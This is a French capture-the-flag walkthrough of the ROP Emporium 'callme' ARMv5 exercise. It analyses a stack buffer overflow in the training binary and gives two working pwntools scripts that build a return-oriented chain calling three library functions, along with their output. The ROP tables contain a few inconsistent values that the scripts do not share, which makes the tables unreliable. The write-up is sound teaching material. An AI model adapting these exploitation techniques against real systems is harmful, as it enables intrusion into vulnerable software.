Contents

Ropemporium ARMv5 callme

callme armv5

Introduction.

Dans ce troisième exercice on doit appeller trois fonctions dans l’ordre attendu avec trois paramètres attendus.

Ennoncé sur le site ropemporium : callme

Découverte

Contenu du challenge

-rwxr-xr-x 1 jce jce  8612 juil.  5  2020 callme_armv5
-rwxr-xr-x 1 jce jce  8636 juil. 19  2021 callme_armv5-hf
-rw-r--r-- 1 jce jce 13126 juil. 19  2021 callme_armv5.zip
-rw-r--r-- 1 jce jce    32 juil.  5  2020 encrypted_flag.dat
-rw-r--r-- 1 jce jce  4593 juil.  4 22:48 gadgets.txt
-rw-r--r-- 1 jce jce    16 juil.  3  2020 key1.dat
-rw-r--r-- 1 jce jce    16 juil.  3  2020 key2.dat
-rwxr-xr-x 1 jce jce  7808 juil. 19  2021 libcallme_armv5-hf.so
-rwxr-xr-x 1 jce jce  7792 juil.  5  2020 libcallme_armv5.so

L’exercice comprend deux executables et deux librairies.

jce@HPEliteBookJCE:~/w/ropemporium/armv5/03_callme$ readelf -h callme_armv5
En-tête ELF:
  Magique:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids faible d'abord (little endian)
  Version:                           1 (actuelle)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              EXEC (fichier exécutable)
  Machine:                           ARM
  Version:                           0x1
  Adresse du point d'entrée:               0x10684
  Début des en-têtes de programme :          52 (octets dans le fichier)
  Début des en-têtes de section :          7452 (octets dans le fichier)
  Fanions:                           0x5000200, Version5 EABI, soft-float ABI
  Taille de cet en-tête:             52 (octets)
  Taille de l'en-tête du programme:  32 (octets)
  Nombre d'en-tête du programme:     9
  Taille des en-têtes de section:    40 (octets)
  Nombre d'en-têtes de section:      29
  Table d'index des chaînes d'en-tête de section: 28

jce@HPEliteBookJCE:~/w/ropemporium/armv5/03_callme$ readelf -h callme_armv5-hf
En-tête ELF:
  Magique:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids faible d'abord (little endian)
  Version:                           1 (actuelle)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              EXEC (fichier exécutable)
  Machine:                           ARM
  Version:                           0x1
  Adresse du point d'entrée:               0x10691
  Début des en-têtes de programme :          52 (octets dans le fichier)
  Début des en-têtes de section :          7476 (octets dans le fichier)
  Fanions:                           0x5000400, Version5 EABI, hard-float ABI
  Taille de cet en-tête:             52 (octets)
  Taille de l'en-tête du programme:  32 (octets)
  Nombre d'en-tête du programme:     9
  Taille des en-têtes de section:    40 (octets)
  Nombre d'en-têtes de section:      29

  Table d'index des chaînes d'en-tête de section: 28

Les deux programmes diffèrent sur les lignes suivantes.

11c11
<   Adresse du point d'entrée:               0x10684
---
>   Adresse du point d'entrée:               0x10691
13,14c13,14
<   Début des en-têtes de section :          7452 (octets dans le fichier)
<   Fanions:                           0x5000200, Version5 EABI, soft-float ABI
---
>   Début des en-têtes de section :          7476 (octets dans le fichier)
>   Fanions:                           0x5000400, Version5 EABI, hard-float ABI

Les deux programmes diffèrent sur le flag correspondant à l’option de compilation -mfloat-abi qui spécifiée l’utilisation des instrutions FPU.

cf : [https://embeddedartistry.com/blog/2017/10/11/demystifying-arm-floating-point-compiler-options/]

En pratique on ne peut executer que le version soft avec qemu en l’absence de la librairie linux par exemple “/lib/ld-linux-armhf.so”. On va dont travailler seulement avec la version soft ici. La version hard est utilisable sur un “rapsberry-pi” ou en ajoutant le paquet (sous debian)

apt install gcc-arm-linux-gnueabihf g++-arm-linux-gnueabihf

Execution du programme avec qemu

    armv5/03_callme$ qemu-arm callme_armv5
    callme by ROP Emporium
    ARMv5

    Hope you read the instructions...

    > AAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCDDDDDDDDDDDDEEEE
    Thank you!
    qemu: uncaught target signal 11 (Segmentation fault) - core dumped

    Erreur de segmentation (core dumped)

Analyse

Le code de la fonction pwnme :

[0x00010684]> pdf @ sym.pwnme
        ; CALL XREF from main @ 0x107a4(x)
┌ 88: sym.pwnme ();
│           ; var void *buf @ fp-0x24
│           ; var int32_t var_4h_2 @ sp+0x20
│           ; var int32_t var_4h @ sp+0x24
│           0x000107cc      00482de9       push {fp, lr}
│           0x000107d0      04b08de2       add fp, var_4h
│           0x000107d4      20d04de2       sub sp, sp, 0x20
│           0x000107d8      24304be2       sub r3, buf
│           0x000107dc      2020a0e3       mov r2, 0x20
│           0x000107e0      0010a0e3       mov r1, 0                   ; int c
│           0x000107e4      0300a0e1       mov r0, r3                  ; void *s
│           0x000107e8      9cffffeb       bl sym.imp.memset           ; void *memset(void *s, int c, size_t n)
│           0x000107ec      30009fe5       ldr r0, str.Hope_you_read_the_instructions..._n ; [0x10910:4]=0x65706f48 ; 
│           0x000107f0      8bffffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x000107f4      2c009fe5       ldr r0, str.__              ; [0x10934:4]=0x203e ; "> " ; const char *format
│           0x000107f8      7dffffeb       bl sym.imp.printf           ; int printf(const char *format)
│           0x000107fc      24304be2       sub r3, buf
│           0x00010800      022ca0e3       mov r2, 0x200
│           0x00010804      0310a0e1       mov r1, r3                  ; void *buf
│           0x00010808      0000a0e3       mov r0, 0                   ; int fildes
│           0x0001080c      7bffffeb       bl sym.imp.read             ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00010810      14009fe5       ldr r0, str.Thank_you_      ; [0x10938:4]=0x6e616854 ; "Thank you!" ; const char *s
│           0x00010814      82ffffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x00010818      0000a0e1       mov r0, r0                  ; 0x10938 ; "Thank you!"
│           0x0001081c      04d04be2       sub sp, var_4h_2
└           0x00010820      0088bde8       pop {fp, pc}

Le buffer de lecture du read est en fp-0x24 On enverra donc un message de debordement de 0x28 (40) octets

La fonction suivante nous indique l’existence et le pararmétrage des fonction callme_xxx.

┌ 64: sym.usefulFunction ();
│           ; var int32_t var_4h @ sp+0x4
│           0x00010830      00482de9       push {fp, lr}
│           0x00010834      04b08de2       add fp, var_4h
│           0x00010838      0620a0e3       mov r2, 6
│           0x0001083c      0510a0e3       mov r1, 5
│           0x00010840      0400a0e3       mov r0, 4
│           0x00010844      70ffffeb       bl sym.imp.callme_three
│           0x00010848      0620a0e3       mov r2, 6
│           0x0001084c      0510a0e3       mov r1, 5
│           0x00010850      0400a0e3       mov r0, 4
│           0x00010854      84ffffeb       bl sym.imp.callme_two
│           0x00010858      0620a0e3       mov r2, 6
│           0x0001085c      0510a0e3       mov r1, 5
│           0x00010860      0400a0e3       mov r0, 4
│           0x00010864      6bffffeb       bl sym.imp.callme_one
│           0x00010868      0100a0e3       mov r0, 1                   ; int status
└           0x0001086c      75ffffeb       bl sym.imp.exit             ; void exit(int status)

On doit appeller ces fonctions avec les paramètres 0xdeadbeef, 0xcafebabe, 0xd00df00d.

La ropchaine

Identification des gadgets :

Un gadget nous permet de charger les registres r0 à r2. Il nous est gracieusement fournit :

0x00010684]> pd 2 @loc.usefulGadgets
│           ;-- usefulGadgets:
└           0x00010870      07c0bde8       pop {r0, r1, r2, lr, pc}
...

On aurra besoin aussi d’un gadget qui nous permete d’ajuster la pile.

  0x000108dc           0880bde8  pop {r3, pc}

Usage du gadget pop {r0, r1, r2, lr, pc}.

On va poser sur la pile la valeur de nos paramètre puis au final l’adresse de callme_one. pc sera chargé avec l’adresse de la fonction ce qui correspond à un saut à cette fonction. Quid de la valeur à charger dans lr ?

lr doit contenir l’adresse de retour qui sera utilisée à la sortie de callme_one. Il nous faut donc alors executer du code qui nous permettre de continuer le déroulement de notre chaine.

On peut y placer l’adresse de notre gadget pop {r0, r1, r2, lr, pc} en tant que prochaine entrée de la chaine.

ROP entry comment
0x00010870 pop {r0, r1, r2, lr, pc}
0xdeadbeef r0
0xcafebafe r1
0xd00df00d r2
0x000108dc lr : pop {r0, r1, r2, lr, pc}
callme_one callme_one

ensuite on peut enchaîner

ROP entry comment
0xdeadbeef r0
0xcafebabe r1
0xd00df00d r2
0x000108dc lr : pop {r0, r1, r2, lr, pc}
callme_one callme_two
0xdeadbeef r0
0xcafebafe r1
0xd00df00d r2
0x000108dc lr : 0 (sans importance)
callme_one callme_three

Optimisation pour l’automatisation.

Le “soucis” de la solution précédente est qu’elle est linéaire. Sin on avait 100 appel de fonctions à réalsier on aimerait bien pourvoir générer les appels avec une boucle.

Pour que chaque séquence soit dientique et commence par le pop {r0, r1, r2, lr, pc} on peut placer dans le registe lr un gadget d’ajustement, idéalement une pop {pc}qui enchainerait sur la séquence. Mais ce gadget n’existe pas. On peut utliser un pop {reg, pc} qui existe et qui fara la même chose mais en consommant une entrée de la chaine pour charge le registre.

Ici on utilise un pop {r3, pc}.

On peut ainsi boucler sur nos trois adresses pour callme_xxx

ROP entry comment
0x00010870 pop {r0, r1, r2, lr, pc}
0xdeadbeef r0
0xcafebabe r1
0xd00df00d r2
0x000108dc lr : pop {r3, pc}
callme_xxx callme_xxx
0x90 pour le pop r3 au retour de callme_one

Exploitation

Script python premier style

Le script python de la solution linéaire.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# Set up pwntools for the correct architecture
elf = context.binary = ELF('callme_armv5')

# 64 : read
# 84 : ret
gs='''
b *pwnme+84
c
'''

# 0x00010870 : pop {r0, r1, r2, lr, pc}
g_pop_r012 = 0x00010870

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


time.sleep(.5)


io.recvuntil(b"> ")

callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]

log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")

offset=0x20

PL=b"A"*offset
PL+=p32(1)              # Pour fp

PL+=p32(g_pop_r012)
PL+=p32(0xdeadbeef)     # r0
PL+=p32(0xcafebabe)     # r1
PL+=p32(0xd00df00d)     # r2
PL+=p32(g_pop_r012)     # lr adresse de retour de callme
PL+=p32(callme_one)

PL+=p32(0xdeadbeef)     # r0
PL+=p32(0xcafebabe)     # r1
PL+=p32(0xd00df00d)     # r2
PL+=p32(g_pop_r012)     # lr adresse de retour de callme
PL+=p32(callme_two)

PL+=p32(0xdeadbeef)     # r0
PL+=p32(0xcafebabe)     # r1
PL+=p32(0xd00df00d)     # r2
PL+=p32(0)              # lr adresse de retour de callme
PL+=p32(callme_three)

io.sendline(PL)
io.interactive()

Execution

[*] '/home/jce/w/ropemporium/armv5/03_callme/callme_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[+] Starting local process '/home/jce/w/ropemporium/armv5/03_callme/callme_armv5': pid 7553
[*] callme_one=10618
[*] callme_two=1066c
[*] callme_three=1060c
[*] Switching to interactive mode
Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Script python second style style

Le script python de la solution avec boucle.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# Set up pwntools for the correct architecture
elf = context.binary = ELF('callme_armv5')

# 64 : read
# 84 : ret
gs='''
b *pwnme+84
c
'''

# pop {r3, pc}
g_popr3 = 0x000108dc
# 0x00010870 : pop {r0, r1, r2, lr, pc}
g_pop_r012 = 0x00010870

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


time.sleep(.5)


io.recvuntil(b"> ")

print(elf.symbols)
callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]

log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")

offset=0x20

PL=b"A"*offset
PL+=p32(1)              # Pour fp

for adrcall in [callme_one, callme_two, callme_three ]:
    PL+=p32(g_pop_r012)
    PL+=p32(0xdeadbeef)     # r0
    PL+=p32(0xcafebabe)     # r1
    PL+=p32(0xd00df00d)     # r2
    PL+=p32(g_popr3)        # lr adresse de retour de callme
    PL+=p32(adrcall)
    PL+=p32(3)              # pour le r3 de pop {r3,pc}

print(PL.hex())
io.sendline(PL)
io.interactive()

Execution

[*] '/home/jce/w/ropemporium/armv5/03_callme/callme_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[+] Starting local process '/home/jce/w/ropemporium/armv5/03_callme/callme_armv5': pid 7681
[*] callme_one=10618
[*] callme_two=1066c
[*] callme_three=1060c
[*] Switching to interactive mode
Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive